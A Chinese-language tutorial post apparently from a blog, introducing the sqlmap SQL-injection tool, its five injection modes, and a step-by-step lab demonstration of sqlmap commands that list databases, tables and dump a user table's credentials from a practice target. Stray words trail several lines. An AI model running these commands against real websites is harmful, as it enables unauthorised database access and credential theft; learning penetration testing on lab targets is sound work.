sqlmap是一個開源的滲透測試工具,能夠用來進行自動化檢測,利用SQL注入漏洞,獲取數據庫服務器的權限。php
它具備功能強大的檢測引擎,針對各類不一樣類型數據庫的滲透測試的功能選項,包括獲取數據庫中存儲的數據,訪問操做系統文件甚至能夠經過外帶數據鏈接的方式執行操做系統命令。html
它支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等數據庫的安全漏洞檢測。python
它支持五種不一樣的注入模式:web
基於布爾的盲注,便可以根據返回頁面判斷條件真假的注入; 基於時間的盲注,即不能根據頁面返回內容判斷任何信息,用條件語句查看時間延遲語句是否執行(即頁面返回時間是否增長)來判斷; 基於報錯注入,即頁面會返回錯誤信息,或者把注入的語句的結果直接返回在頁面中; 聯合查詢注入,可使用union的狀況下的注入; 堆查詢注入,能夠同時執行多條語句的執行時的注入。
sqlmap的安裝方式很簡單。只須要在python2.7的環境下執行 pip install sqlmap便可,開袋即食。sql
接着上一篇 sql手工注入 咱們來作一個sqlmap演示數據庫
最簡單粗暴的方式,咱們直接敲命令爆庫。能夠暴露出當前系統下全部的數據庫名稱安全
sqlmap -u "http://192.168.1.3/webug/pentest/test/sqli/sqltamp.php?gid=1" --batch --dbs
或者咱們的吃相不但願那麼難看,只想要當前sql下對應的數據庫名稱服務器
sqlmap -u "http://192.168.1.3/webug/pentest/test/sqli/sqltamp.php?gid=1" -p gid --current-db
接着咱們來爆表名。暴露出 pentesterlab 數據下的四張表。python2.7
sqlmap -u "http://192.168.1.3/webug/pentest/test/sqli/sqltamp.php?gid=1" -p gid -D pentesterlab --tables
接下來是暴露表字段。咱們須要dump user表下面的字段信息並保存到本地文件。俗稱脫褲。工具
sqlmap -u "http://192.168.1.3/webug/pentest/test/sqli/sqltamp.php?gid=1" -p gid -D pentesterlab -T user --dump
這樣,咱們靶機的系統用戶名和密碼就所有暴露出來了。是否是很簡單?